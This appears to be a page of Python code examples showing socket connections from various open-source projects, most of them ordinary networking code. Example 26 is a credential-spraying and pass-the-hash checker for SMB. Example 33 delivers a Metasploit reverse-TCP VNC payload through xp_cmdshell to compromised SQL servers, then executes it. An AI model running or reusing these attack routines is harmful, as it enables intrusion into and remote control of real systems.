                        '__builtins__': __builtins__,
                        '__file__': file_to_run})

    if send_info != '-':
        data_sender = _FunctionCallDataSender(send_info, project_root)
    del sys.argv[1:4]
    pycompat.execfile(file_to_run, run_globals)
    if send_info != '-':
        data_sender.close()

Example 25

Project: scalarizr Source File: app.py
    def _init_services(self):
        logger = logging.getLogger(__name__)
        cnf = bus.cnf; ini = cnf.rawini
        messaging_adp = ini.get('messaging', 'adapter')

        # Set base URL
        pr = urlparse(__node__['queryenv_url'])
        bus.scalr_url = urlunparse((pr.scheme, pr.netloc, '', '', '', ''))
        logger.debug("Got scalr url: '%s'" % bus.scalr_url)

        if not linux.os.windows and __node__['platform'].name == 'openstack':
            self._ensure_resolver(bus.scalr_url)

        # Create periodical executor for background tasks (cleanup, rotate, gc, etc...)
        bus.periodical_executor = PeriodicalExecutor()

        logger.debug("Initialize QueryEnv client")
        queryenv = new_queryenv()

        if tuple(map(int, STATE['queryenv.api_version']['version'].split('-'))) >= (2012, 7, 1):
            scalr_version = queryenv.get_global_config()['params'].get('scalr.version')
            if scalr_version:
                bus.scalr_version = tuple(map(int, scalr_version.split('.')))
                version_file = cnf.private_path('.scalr-version')
                with open(version_file, 'w') as fp:
                    fp.write(scalr_version)

        bus.queryenv_service = queryenv
        bus.queryenv_version = tuple(map(int, queryenv.api_version.split('-')))

        self._init_bollard()

        if __node__['state'] != 'importing':
            lfrp = bus.queryenv_service.list_farm_role_params(__node__['farm_role_id'])['params']
            __node__['base'].update(lfrp.get('base'))
            if __node__['base']['union_script_executor'] and not linux.os.windows:
                # Replace script execution with a new system
                bus.cnf.rawini.remove_option('handlers', 'script_executor')
                bus.cnf.rawini.remove_option('handlers', 'chef')
                bus.cnf.rawini.set('handlers', 'union_base', 'scalarizr.handlers.union.base')

        ports_non_default = self._select_control_ports()

        logger.debug("Initialize messaging")
        factory = MessageServiceFactory()
        try:
            params = dict(ini.items("messaging_" + messaging_adp))
            if ports_non_default:
                consumer_url = list(urlparse(params['consumer_url']))
                consumer_url[1] = ':'.join((consumer_url[1].split(':')[0], str(__node__['base']['messaging_port'])))
                params['consumer_url'] = urlunparse(consumer_url)

            params['server_id'] = __node__['server_id']
            params['crypto_key_path'] = cnf.key_path(cnf.DEFAULT_KEY)

            msg_service = factory.new_service(messaging_adp, **params)
            bus.messaging_service = msg_service
        except (BaseException, Exception):
            raise ScalarizrError("Cannot create messaging service adapter '%s'" % (messaging_adp))

        optparser = bus.optparser

        logger.debug('Initialize message handlers')
        consumer = msg_service.get_consumer()
        consumer.listeners.append(MessageListener())

        producer = msg_service.get_producer()
        def msg_meta(queue, message):
            """
            Add scalarizr version to meta
            """
            message.meta.update({
                'szr_version': __version__,
                'timestamp': os_time.utcnow().strftime("%a %d %b %Y %H:%M:%S %z")
            })
        producer.on('before_send', msg_meta)

        Storage.maintain_volume_table = True

        if not bus.api_server:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            api_port = 8010
            try:
                sock.connect(('0.0.0.0', api_port))
                api_port = 8009
                sock.close()
            except socket.error:
                pass
            STATE['global.api_port'] = api_port
            api_app = jsonrpc_http.WsgiApplication(rpc.RequestHandler(api.api_routes),
                                                cnf.key_path(cnf.DEFAULT_KEY))
            class ThreadingWSGIServer(SocketServer.ThreadingMixIn, wsgiref.simple_server.WSGIServer):
                pass
            bus.api_server = wsgiref.simple_server.make_server('0.0.0.0',
                                __node__['base']['api_port'],
                                api_app,
                                server_class=ThreadingWSGIServer)

        if ports_non_default:
            msg = msg_service.new_message('HostUpdate', None, {
                'base': {
                    'api_port': __node__['base']['api_port'],
                    'messaging_port': __node__['base']['messaging_port']
                }
            })
            msg_service.get_producer().send(Queues.CONTROL, msg)

Example 26

Project: CredNinja Source File: CredNinja.py
def main():
    global output_file_handler, settings, text_green, text_blue, text_yellow, text_red, text_end
    print(text_blue + """


   .d8888b.                       888 888b    888 d8b           d8b          
  d88P  Y88b                      888 8888b   888 Y8P           Y8P          
  888    888                      888 88888b  888                            
  888        888d888 .d88b.   .d88888 888Y88b 888 888 88888b.  8888  8888b.  
  888        888P"  d8P  Y8b d88" 888 888 Y88b888 888 888 "88b "888     "88b 
  888    888 888    88888888 888  888 888  Y88888 888 888  888  888 .d888888 
  Y88b  d88P 888    Y8b.     Y88b 888 888   Y8888 888 888  888  888 888  888 
   "Y8888P"  888     "Y8888   "Y88888 888    Y888 888 888  888  888 "Y888888 
                                                                888          
                                                               d88P          
                                                             888P"           

                    v{} (Built {}) - Chris King (@raikiasec)

                         For help: ./CredNinja.py -h
""".format(version_number,version_build) + text_end)


    if sys.version_info < (3,0):
        print("ERROR: CredNinja runs on Python 3.  Run as \"./CredNinja.py\" or \"python3 CredNinja.py\"!")
        sys.exit(1)
    args = parse_cli_args()
    settings['os'] = args.os
    settings['domain'] = args.domain
    settings['timeout'] = args.timeout
    settings['delay'] = args.delay
    settings['users'] = args.users
    settings['users_time'] = args.users_time
    settings['scan'] = args.scan
    settings['scan_timeout'] = args.scan_timeout
    settings['no_color'] = args.no_color
    hosts_to_check = []
    creds_to_check = []
    mode = 'all'
    if settings['no_color']:
        text_blue = ''
        text_green = ''
        text_red = ''
        text_yellow = ''
        text_end = ''
    if os.path.isfile(args.accounts):
        with open(args.accounts) as accountfile:
            for line in accountfile:
                if line.strip():
                    parts = line.strip().split(args.passdelimiter,1)
                    if len(parts) != 2:
                        print(text_red + "ERROR: Credential '" + line.strip() + "' did not have the password delimiter" + text_end)
                        sys.exit(1)
                    creds_to_check.append(parts)
    else:
        parts = args.accounts.strip().split(args.passdelimiter,1)
        if len(parts) != 2:
            print(text_red + "ERROR: Credential '" + args.accounts.strip() + "' did not have the password delimiter" + text_end)
            sys.exit(1)
        creds_to_check.append(parts)

    if os.path.isfile(args.servers):
        with open(args.servers) as serverfile:
            for line in serverfile:
                if line.strip():
                    hosts_to_check.append(line.strip())
    else:
        hosts_to_check.append(args.servers)
    if len(hosts_to_check) == 0 or len(creds_to_check) == 0:
        print(text_red + "ERROR: You must supply hosts and credentials at least!" + text_end)
        sys.exit(1)
    
    mode = 'a'
    if args.invalid:
        mode = 'i'
    if args.valid:
        mode = 'v'
    if args.invalid and args.valid:
        mode = 'a'

    if args.output:
        output_file_handler = open(args.output, 'w')
    
    command_list = ['smbclient', '-U', '', '', '', '-c', 'dir']
    if args.ntlm and shutil.which('pth-smbclient') is None:
        print(text_red + "ERROR: pth-smbclient is not found!  Make sure you install it (or use Kali!)" + text_end)
        sys.exit(1)
    elif args.ntlm:
        command_list[0] = 'pth-smbclient'
        command_list.append('--pw-nt-hash')
    passwd_header = 'Password'
    if command_list[0] == 'pth-smbclient':
        passwd_header = 'Hash'

    if (len(hosts_to_check) * len(creds_to_check)) < args.threads:
        args.threads = len(hosts_to_check) * len(creds_to_check)

    try:
        if settings['os'] or settings['domain'] or settings['users']:
            print(text_yellow + ("%-35s %-35s %-35s %-25s %s" % ("Server", "Username", passwd_header, "Response", "Info")) + text_end)
        else:
            print(text_yellow + ("%-35s %-35s %-35s %-25s " % ("Server", "Username", passwd_header, "Response")) + text_end)
        print(text_yellow + "------------------------------------------------------------------------------------------------------------------------------------------------------" + text_end)

        if args.stripe == None:
            total = len(hosts_to_check)
            done = -1
            last_status_report = -1
            if settings['scan']:
                print(text_green + "[!] Starting scan of port 445 on all " + str(len(hosts_to_check)) + " hosts...." +  text_end)
            for host in hosts_to_check:
                done += 1
                if settings['scan']:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(settings['scan_timeout'])
                    percent_done = int((done / total) * 100)
                    if (percent_done%5 == 0 and percent_done != last_status_report):
                        print(text_green + "[*] " + str(percent_done) + "% done... [" + str(done) + "/" + str(total) + "]" + text_end)
                        last_status_report = percent_done
                    try:
                        s.connect((host,445))
                        s.close()
                    except Exception:
                        print("%-35s %-35s %-35s %-25s" % (host, "N/A", "N/A", text_red + "Failed Portscan" + text_end))
                        continue
                for cred in creds_to_check:
                    credQueue.put([host, cred])
        else:
            if len(hosts_to_check) < len(creds_to_check):
                print(text_red + "ERROR: For striping to work, you must have the same number or more hosts than you do creds!"  + text_end)
                sys.exit(1)
            if (len(creds_to_check) < args.threads):
                args.threads = len(creds_to_check)
            random.shuffle(hosts_to_check)
            for i in range(len(creds_to_check)):
                credQueue.put([hosts_to_check[i], creds_to_check[i]])

        thread_list = []
        for i in range(args.threads):
            thread_list.append(CredThread(mode, command_list))
        for t in thread_list:
            t.daemon = True
            t.start()

        for t in thread_list:
            t.join()
    except KeyboardInterrupt:
        print("\nQuitting!")
        sys.exit(1)
    if output_file_handler is not None:
        output_file_handler.close()

Example 27

Project: BOSWatch Source File: firEmergency.py
def run(typ,freq,data):
	"""
	This function is the implementation of the firEmergency-Plugin.
	It will send the data to an firEmergency-Instance.

	The configuration for the firEmergency-Connection is set in the config.ini.

	@type    typ:  string (ZVEI|POC)
	@param   typ:  Typ of the dataset for sending to firEmergency
	@type    data: map of data (structure see interface.txt)
	@param   data: Contains the parameter for dispatch to firEmergency.
	@type    freq: string
	@keyword freq: frequency is not used in this plugin

	@requires:  firEmergency-Configuration has to be set in the config.ini

	@return:    nothing
	"""
	try:
		if configHandler.checkConfig("firEmergency"): #read and debug the config

			try:
				#
				# connect to firEmergency
				#
				firSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
				firSocket.connect((globals.config.get("firEmergency", "firserver"), globals.config.getint("firEmergency", "firport")))
			except:
				logging.error("cannot connect to firEmergency")
				logging.debug("cannot connect to firEmergency", exc_info=True)
				# Without connection, plugin couldn't work
				return

			else:
				#
				# Format given data-structure to xml-string for firEmergency
				#
				if typ == "FMS":
					logging.debug("FMS not supported by firEmgency")

				elif typ == "ZVEI":
					logging.debug("ZVEI to firEmergency")
					try:
							firXML = "<event>\n<address>"+data["zvei"]+"</address>\n<description>"+data["description"]+"</description>\n<message>"+data["zvei"]+" alarmiert.</message>\n</event>\n"
							firSocket.send(firXML)
					except:
							logging.error("%s to firEmergency failed", typ)
							logging.debug("%s to firEmergency failed", typ, exc_info=True)
							# Without connection, plugin couldn't work
							return

				elif typ == "POC":
					logging.debug("POC to firEmergency")
					try:
							# !!! Subric+"XX" because of an Issuse in firEmergency !!!
							firXML = "<event>\n<address>"+data["ric"]+"</address>\n<status>"+data["function"]+"XX</status>\n<description>"+data["description"]+"</description>\n<message>"+data["msg"]+"</message>\n</event>\n"
							firSocket.send(firXML)
					except:
							logging.error("%s to firEmergency failed", typ)
							logging.debug("%s to firEmergency failed", typ, exc_info=True)
							# Without connection, plugin couldn't work
							return

				else:
					logging.warning("Invalid Typ: %s", typ)

			finally:
				logging.debug("close firEmergency-Connection")
				try:
					firSocket.close()
				except:
					pass

	except:
		logging.error("unknown error")
		logging.debug("unknown error", exc_info=True)

Example 28

Project: kamaelia_ Source File: ThreadedTCPClient.py
   def run(self):
      try:
         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#; yield 0.3
      except socket.error, e:
         #handle initial failure to create socket.
         # If we can't create a socket we might as well give up now.
         # This matches the behaviour of the main TCP client but it might be better passing as
         # an Axon.Ipc.errorInformation carrying the exception otherwise what is the IPC class
         # for?
         self.outqueues["signal"].put(e)
         # I am assuming that by using queues there are no race conditions between this operations.
         self.threadtoaxonqueue.put("StoppedThread")
         return
      try:
         sock.connect((self.host, self.port))
      except socket.error, e:
         self.outqueues["signal"].put(e)
         try:
            result = sock.close()
         except:
            pass
         self.threadtoaxonqueue.put("StoppedThread")
         return
      receivethread = receiveThread(socket = sock, outputqueue = self.outqueues["outbox"],controlqueue = self.recvthreadcontrol,signalqueue = self.recvthreadsignal)
      receivethread.setDaemon(True)
      receivethread.start()
      producerFinished = 0
      # This loop will handle sending, control and signal communications
      # including with the recv thread.  Apart from the sending all the calls
      # should be non-blocking.  sending should rarely take a significant
      # time.  One non-blocking call will operate with a short timeout to
      # prevent busy wait taking too much CPU time.
      while 1:
         try:
            # This blocks for a short time to avoid busy wait if there is
            # nothing to do.  Should mean thread doesn't hog CPU.
            data = self.inqueues["inbox"].get(True, 0.2)
            sock.send(data)
            if producerFinished: 
               #As there is still data coming extend the time window for data to
               # get in the queue
               producerFinished = time.time()
         except Empty, e:
             if producerFinished: # This is an efficiency guard to prevent time.time
                                             # being called repeatedly.
               if time.time() > producerFinished + 4:
               # A four second delay ought to be enough for the component to get
               # a timeslice and move some data from inbox to the queue.  Yet it
               # shouldn't cause critical errors, delays or leaks if it allowed
               # to take this long.  This must be done on a time basis as the
               # items are being added to our queue by an Axon component so are
               # being copied in only when there is a timeslice.  The
               # alternative is to have a reasonable liklyhood of dropping some
               # data.
                  recvthreadcontrol.put("StopThread")
                  break
         except socket.error, err:
            self.outqueues["signal"].put(err)
            recvthreadcontrol.put("StopThread")
            break # The task is finished now.
         
         try:
            msg = self.recvthreadsignal.get(False)
            if msg == "ThreadStopped":
               break # Receiving has stopped.  We are doing a symetrical close.
            else:
               self.outqueues["signal"].put(msg)
         except Empty, e:
            pass # This is the common case.

         try:
            msg = self.inqueues["control"].get(False)
            if isinstance(msg, Axon.Ipc.producerFinished):
               producerStopTime = time.time() 
               # Want to give opportunity for inbox messages to get into the
               # inbox queue before shutting down the sending system.
         except Empty, e:
            pass # Normal case.
      
      #end while 1
      
      # After breaking out of while loop clean up socket before ending the thread.
      try:
         sock.shutdown(2)
      except socket.error, e:
         pass
      try:
         sock.close()
      except socket.error, e:
         self.outqueues["signal"].put(e)
      self.outqueues["signal"].put(socketShutdown())
      self.signalqueue.put("ThreadStopped")

Example 29

Project: babble Source File: nntplib.py
    def __init__(self, host, port=NNTP_PORT, user=None, password=None,
                 readermode=None, usenetrc=True):
        """Initialize an instance.  Arguments:
        - host: hostname to connect to
        - port: port to connect to (default the standard NNTP port)
        - user: username to authenticate with
        - password: password to use with username
        - readermode: if true, send 'mode reader' command after
                      connecting.

        readermode is sometimes necessary if you are connecting to an
        NNTP server on the local machine and intend to call
        reader-specific comamnds, such as `group'.  If you get
        unexpected NNTPPermanentErrors, you might need to set
        readermode.
        """
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect((self.host, self.port))
        self.file = self.sock.makefile('rb')
        self.debugging = 0
        self.welcome = self.getresp()

        # 'mode reader' is sometimes necessary to enable 'reader' mode.
        # However, the order in which 'mode reader' and 'authinfo' need to
        # arrive differs between some NNTP servers. Try to send
        # 'mode reader', and if it fails with an authorization failed
        # error, try again after sending authinfo.
        readermode_afterauth = 0
        if readermode:
            try:
                self.welcome = self.shortcmd('mode reader')
            except NNTPPermanentError:
                # error 500, probably 'not implemented'
                pass
            except NNTPTemporaryError, e:
                if user and e.response[:3] == '480':
                    # Need authorization before 'mode reader'
                    readermode_afterauth = 1
                else:
                    raise
        # If no login/password was specified, try to get them from ~/.netrc
        # Presume that if .netc has an entry, NNRP authentication is required.
        try:
            if usenetrc and not user:
                import netrc
                credentials = netrc.netrc()
                auth = credentials.authenticators(host)
                if auth:
                    user = auth[0]
                    password = auth[2]
        except IOError:
            pass
        # Perform NNRP authentication if needed.
        if user:
            resp = self.shortcmd('authinfo user '+user)
            if resp[:3] == '381':
                if not password:
                    raise NNTPReplyError(resp)
                else:
                    resp = self.shortcmd(
                            'authinfo pass '+password)
                    if resp[:3] != '281':
                        raise NNTPPermanentError(resp)
            if readermode_afterauth:
                try:
                    self.welcome = self.shortcmd('mode reader')
                except NNTPPermanentError:
                    # error 500, probably 'not implemented'
                    pass

Example 30

Project: plugin.video.streamondemand Source File: service.py
def PrepareConnection(service, full_uri):
  """Opens a connection to the server based on the full URI.

  This method is deprecated, instead use atom.http.HttpClient.request.

  Examines the target URI and the proxy settings, which are set as
  environment variables, to open a connection with the server. This
  connection is used to make an HTTP request.

  Args:
    service: atom.AtomService or a subclass. It must have a server string which
      represents the server host to which the request should be made. It may also
      have a dictionary of additional_headers to send in the HTTP request.
    full_uri: str Which is the target relative (lacks protocol and host) or
    absolute URL to be opened. Example:
    'https://www.google.com/accounts/ClientLogin' or
    'base/feeds/snippets' where the server is set to www.google.com.

  Returns:
    A tuple containing the httplib.HTTPConnection and the full_uri for the
    request.
  """
  deprecation('calling deprecated function PrepareConnection')
  (server, port, ssl, partial_uri) = ProcessUrl(service, full_uri)
  if ssl:
    # destination is https
    proxy = os.environ.get('https_proxy')
    if proxy:
      (p_server, p_port, p_ssl, p_uri) = ProcessUrl(service, proxy, True)
      proxy_username = os.environ.get('proxy-username')
      if not proxy_username:
        proxy_username = os.environ.get('proxy_username')
      proxy_password = os.environ.get('proxy-password')
      if not proxy_password:
        proxy_password = os.environ.get('proxy_password')
      if proxy_username:
        user_auth = base64.encodestring('%s:%s' % (proxy_username,
                                                   proxy_password))
        proxy_authorization = ('Proxy-authorization: Basic %s\r\n' % (
            user_auth.strip()))
      else:
        proxy_authorization = ''
      proxy_connect = 'CONNECT %s:%s HTTP/1.0\r\n' % (server, port)
      user_agent = 'User-Agent: %s\r\n' % (
          service.additional_headers['User-Agent'])
      proxy_pieces = (proxy_connect + proxy_authorization + user_agent
                       + '\r\n')

      #now connect, very simple recv and error checking
      p_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      p_sock.connect((p_server,p_port))
      p_sock.sendall(proxy_pieces)
      response = ''

      # Wait for the full response.
      while response.find("\r\n\r\n") == -1:
        response += p_sock.recv(8192)
       
      p_status=response.split()[1]
      if p_status!=str(200):
        raise 'Error status=',str(p_status)

      # Trivial setup for ssl socket.
      ssl = socket.ssl(p_sock, None, None)
      fake_sock = httplib.FakeSocket(p_sock, ssl)

      # Initalize httplib and replace with the proxy socket.
      connection = httplib.HTTPConnection(server)
      connection.sock=fake_sock
      full_uri = partial_uri

    else:
      connection = httplib.HTTPSConnection(server, port)
      full_uri = partial_uri

  else:
    # destination is http
    proxy = os.environ.get('http_proxy')
    if proxy:
      (p_server, p_port, p_ssl, p_uri) = ProcessUrl(service.server, proxy, True)
      proxy_username = os.environ.get('proxy-username')
      if not proxy_username:
        proxy_username = os.environ.get('proxy_username')
      proxy_password = os.environ.get('proxy-password')
      if not proxy_password:
        proxy_password = os.environ.get('proxy_password')
      if proxy_username:
        UseBasicAuth(service, proxy_username, proxy_password, True)
      connection = httplib.HTTPConnection(p_server, p_port)
      if not full_uri.startswith("http://"):
        if full_uri.startswith("/"):
          full_uri = "http://%s%s" % (service.server, full_uri)
        else:
          full_uri = "http://%s/%s" % (service.server, full_uri)
    else:
      connection = httplib.HTTPConnection(server, port)
      full_uri = partial_uri

  return (connection, full_uri)

Example 31

Project: pyspace Source File: ll_backend.py
    def execute(self):
        """ Execute all processes specified in the currently staged operation """
        assert(self.state == "staged")
        
        self._log("Operation - executing")
        self.state = "executing" 
        
        # The handler that is used remotely for logging
        handler_class = logging.handlers.SocketHandler
        handler_args = {"host" : self.host, "port" : self.port}
        # the communication properties to talk to LoadLevelerComHandler
        backend_com = (self.SERVER_IP, self.SERVER_PORT)
        print('--> Loadleveler Communication : \n\t\t host:%s, port:%s' % \
                                            (self.SERVER_IP, self.SERVER_PORT))
        # Prepare the directory where processes are stored before submitted
        # to LoadLeveler
        self.process_dir = os.sep.join([self.current_operation.result_directory,
                                   ".processes"])
        if not os.path.exists(self.process_dir):
            os.mkdir(self.process_dir)
        # create and start server socket thread 
        self.listener = LoadLevelerComHandler(self.sock, self.result_handlers,
                                              self.progress_bar, 
                                              self.LL_COMMAND_FILE_TEMPLATE,
                                              operation_dir=self.current_operation.result_directory)
        self.listener.start()
        # create a client socket to talk to server socket thread
        send_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        send_socket.connect((self.SERVER_IP,self.SERVER_PORT))
        
        # get first process from creation queue
        process = self.current_operation.processes.get()
        process_counter = 0
        
        # Until not all Processes have been created, prepare all processes
        # from the queue for remote execution and execute them
        while process != False:
            process.prepare(pySPACE.configuration, handler_class, handler_args,
                            backend_com)
            # since preparing the process might be quite faster than executing
            # it we need another queue where processes get out when they have
            # finished execution
            self.result_handlers.put(1)
            # pickle the process object
            proc_file_name = os.sep.join([self.process_dir,
                                         "process_%d.pickle" % process_counter])
            proc_file = open(proc_file_name, "w")
            cPickle.dump(process, proc_file, cPickle.HIGHEST_PROTOCOL)
            proc_file.close()
            # fill out LoadLeveler template
            llfile = self.LL_COMMAND_FILE_TEMPLATE % \
                      {"process_file_path": proc_file_name,
                       "server_port": self.SERVER_PORT,
                       "op_result_dir": self.current_operation.result_directory}
            llfilepath = os.path.join(self.current_operation.result_directory,
                                        "ll_call.cmd")
            f=open(llfilepath,'w')
            f.write(llfile)
            f.close()
            # submit to LoadLeveler
            while 1:
                outlog, errlog = sub.Popen(["llsubmit", llfilepath], 
                                stdout=sub.PIPE, stderr=sub.PIPE).communicate()
                if errlog == "":
                    break
                else:
                    self._log("Warning: Job submission to LoadLeveler failed"\
                              " with %s. Job will be resubmitted." % errlog,
                              logging.WARNING)
                    time.sleep(1)
            # parse job_id for monitoring
            loadl_id = outlog.split("\"")[1].split(".")[-1]
            # inform listener that we successfully submitted the job
            send_socket = inform('submitted;%d;%s%s' % \
                                 (process_counter, loadl_id, self.end_token), 
                                send_socket, (self.SERVER_IP,self.SERVER_PORT))
            # get next process and update process_counter
            process = self.current_operation.processes.get()
            process_counter+=1
            
        # send message 'creation finished' to listener
        send_socket = inform('creation finished'+self.end_token, send_socket,
                                              (self.SERVER_IP,self.SERVER_PORT))
        # give socket chance to process message
        # time.sleep(0.001)
        self.listener.creation_finished = True
        send_socket.shutdown(socket.SHUT_RDWR)
        send_socket.close()

Example 32

Project: dwc_network_server_emulator Source File: gamespy_server_browser_server.py
    def forward_data_to_client(self, data, forward_client):
        # Find session id of server
        # Iterate through the list of servers sent to the client and match by
        # IP and port. Is there a better way to determine this information?
        if forward_client is None or len(forward_client) != 2:
            return

        server, ip = self.find_server_in_cache(forward_client[0],
                                               forward_client[1], self.console)

        if server is None:
            if self.console == 0:
                server, ip = self.find_server_in_cache(forward_client[0],
                                                       forward_client[1],
                                                       1)  # Try Wii
            elif self.console == 1:
                server, ip = self.find_server_in_cache(forward_client[0],
                                                       forward_client[1],
                                                       0)  # Try DS

        self.log(logging.DEBUG,
                 "find_server_in_cache returned: %s",
                 server)
        self.log(logging.DEBUG,
                 "Trying to send message to %s:%d...",
                 forward_client[0], forward_client[1])
        self.log(logging.DEBUG, "%s", utils.pretty_print_hex(bytearray(data)))

        if server is None:
            return

        self.log(logging.DEBUG, "%s %s", ip, server['publicip'])
        if server['publicip'] == ip and \
           server['publicport'] == str(forward_client[1]):
            if forward_client[1] == 0 and 'localport' in server:
                # No public port returned from client, try contacting on
                # the local port.
                forward_client = (forward_client[0], int(server['localport']))

            # Send command to server to get it to connect to natneg
            # Quick and lazy way to get a random 32bit integer. Replace with
            # something else later
            cookie = int(utils.generate_random_hex_str(8), 16)

            # if (len(data) == 24 and bytearray(data)[0:10] == \
            #     bytearray([0x53, 0x42, 0x43, 0x4d, 0x03,
            #                0x00, 0x00, 0x00, 0x01, 0x04])) or \
            #     (len(data) == 40 and bytearray(data)[0:10] == \
            #                          bytearray([0x53, 0x42, 0x43, 0x4d,
            #                                     0x0b, 0x00, 0x00, 0x00,
            #                                     0x01, 0x04])):
            if self.own_server is None and len(data) >= 16 and \
               bytearray(data)[0:4] in (bytearray([0xbb, 0x49, 0xcc, 0x4d]),
                                        bytearray([0x53, 0x42, 0x43, 0x4d])):
                # Is the endianness the same between the DS and Wii here?
                # It seems so but I'm not positive.
                # Note to self: Port is little endian here.
                self_port = utils.get_short(bytearray(data[10:12]), 0, False)
                self_ip = '.'.join(["%d" % x for x in bytearray(data[12:16])])

                self.own_server, _ = self.find_server_in_cache(self_ip,
                                                               self_port,
                                                               self.console)

                if self.own_server is None:
                    if self.console == 0:
                        # Try Wii
                        self.own_server, _ = self.find_server_in_cache(
                            self_ip, self_port, 1
                        )
                    elif self.console == 1:
                        # Try DS
                        self.own_server, _ = self.find_server_in_cache(
                            self_ip, self_port, 0
                        )

                if self.own_server is None:
                    self.log(logging.DEBUG,
                             "Could not find own server: %s:%d",
                             self_ip, self_port)
                else:
                    self.log(logging.DEBUG,
                             "Found own server: %s",
                             self.own_server)

            elif len(data) == 10 and \
                    bytearray(data)[0:6] == \
                    bytearray([0xfd, 0xfc, 0x1e, 0x66, 0x6a, 0xb2]):
                natneg_session = utils.get_int_signed(data, 6)
                self.log(logging.DEBUG,
                         "Adding %d to natneg server list: %s",
                         natneg_session, server)
                # Store info in backend so we can get it later in natneg
                self.server_manager.add_natneg_server(natneg_session, server)

                if self.own_server is not None:
                    self.log(logging.DEBUG,
                             "Adding %d to natneg server list: %s (self)",
                             natneg_session, self.own_server)
                    # Store info in backend so we can get it later in natneg
                    self.server_manager.add_natneg_server(natneg_session,
                                                          self.own_server)

                # if self.qr is not None:
                #     own_server = self.qr.get_own_server()
                #
                #     self.log(logging.DEBUG,
                #              "Adding %d to natneg server list: %s",
                #              natneg_session, own_server)
                #     self.server_manager.add_natneg_server(natneg_session,
                #                                           own_server)

            output = bytearray([0xfe, 0xfd, 0x06])
            output += utils.get_bytes_from_int(server['__session__'])
            output += bytearray(utils.get_bytes_from_int(cookie))
            output += bytearray(data)

            if self.qr is not None:
                self.log(logging.DEBUG,
                         "Forwarded data to %s:%s through QR server...",
                         forward_client[0], forward_client[1])
                self.qr.socket.sendto(output, forward_client)
            else:
                # In case we can't contact the QR server, just try sending
                # the packet directly. This isn't standard behavior but it
                # can work in some instances.
                self.log(logging.DEBUG,
                         "Forwarded data to %s:%s directly"
                         " (potential error occurred)...",
                         forward_client[0], forward_client[1])
                client_s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                client_s.sendto(output, forward_client)

Example 33

Project: pwn_plug_sources Source File: sqlbruteword.py
def Payload_Delivery(choice,jumptosession):
    try:
          ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
          ipaddr.connect(('google.com', 0))
          ipaddr.settimeout(4)
          ipaddr=ipaddr.getsockname()[0]
    except Exception:
          print "No internet connection detected, please enter your IP Address in manually."
          ipaddr=raw_input("Enter your IP here: ")
    port=raw_input("What port do you want the payload to connect to you on: ")
    if choice=='2':
       print "Metasploit Reverse VNC Upload Detected.."
       print "Launching MSFCLI VNC Handler."
       msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Bruter Metasploit VNC Inject Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port))
       print "Creating Metasploit Reverse VNC Payload.."                                               
       msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/vncinject/reverse_tcp LHOST=%s LPORT=%s AUTOVNC=true X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait()
       print "Prepping 64KB Debug Bypass stager for delivery..."
       h2bread=file("%s/bin/ftsrc/payload/h2b" % definepath,"r").readlines()
       query5=("""xp_cmdshell 'del h2bdelivery'""")                                                        
       printquery=mssql.execute_query(query5)
       for line1 in h2bread:
            line1=line1.rstrip()
            query5=("""xp_cmdshell '%s >> h2bdelivery'""" % (line1))                                                        
            printquery=mssql.execute_query(query5)
            temp=line1.replace("echo e ", "")
            print "Sending Payload: "+temp
       print "Converting our stager to an executable..."
       query5=("""xp_cmdshell 'debug<h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del h2bdelivery'""")
       printquery=mssql.execute_query(query5)
       
       query5=("""xp_cmdshell 'rename MOO.BIN h2b.exe'""")
       printquery=mssql.execute_query(query5)
       
       print "Stager delivery complete."
       print "Coverting Metasploit to hex."
       import binascii
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploithex 2> /dev/null" % (definepath), shell=True).wait()
       filedelete=subprocess.Popen("rm %s/bin/appdata/metasploitdeliver 2> /dev/null" % (definepath), shell=True).wait()
       fileopen=file("%s/bin/appdata/metasploit" % (definepath), 'rb').readlines()
       filewrite=file("%s/bin/appdata/metasploithex" % (definepath),"w")
       for line in fileopen:
           line=binascii.hexlify(line)
           filewrite.write(line)
       filewrite.close()
       print "Done with payload hex conversion."
       print "Splitting payload for delivery, this may take a couple..."
       fileopen=open("%s/bin/appdata/metasploithex" % (definepath))
       createdel=subprocess.Popen("touch %s/bin/appdata/metasploitdeliver" % (definepath), shell=True).wait()
       filewrite=file("%s/bin/appdata/metasploitdeliver" % (definepath), "w")
       while fileopen:
           a=fileopen.read(900).rstrip()
  	   if a == "":
 	            break
           filewrite.write(a)
           filewrite.write("\n")
       filewrite.close()
       query5=("""xp_cmdshell 'del metasploit*'""")
       printquery=mssql.execute_query(query5)
       
       fileopen=file("%s/bin/appdata/metasploitdeliver" % (definepath), "r").readlines()
       import random
       randomgen=random.randrange(1,10000)
       for line in fileopen:
          line=line.rstrip()
          query5=("""xp_cmdshell 'echo %s>>metasploit%s'""" % (line,randomgen))
          printquery=mssql.execute_query(query5)
          print "Sending payload: "+line
       print "Metasploit payload delivered.."
       print "Converting our payload to binary, this may take a few..."
       query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
       query5=("""xp_cmdshell 'del h2b.exe'""")
       printquery=mssql.execute_query(query5)
       
       print "Launching payload, this could take up to a minute..."
       print "When finished, close the metasploit handler window to return to other compromised SQL Servers."
       query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       
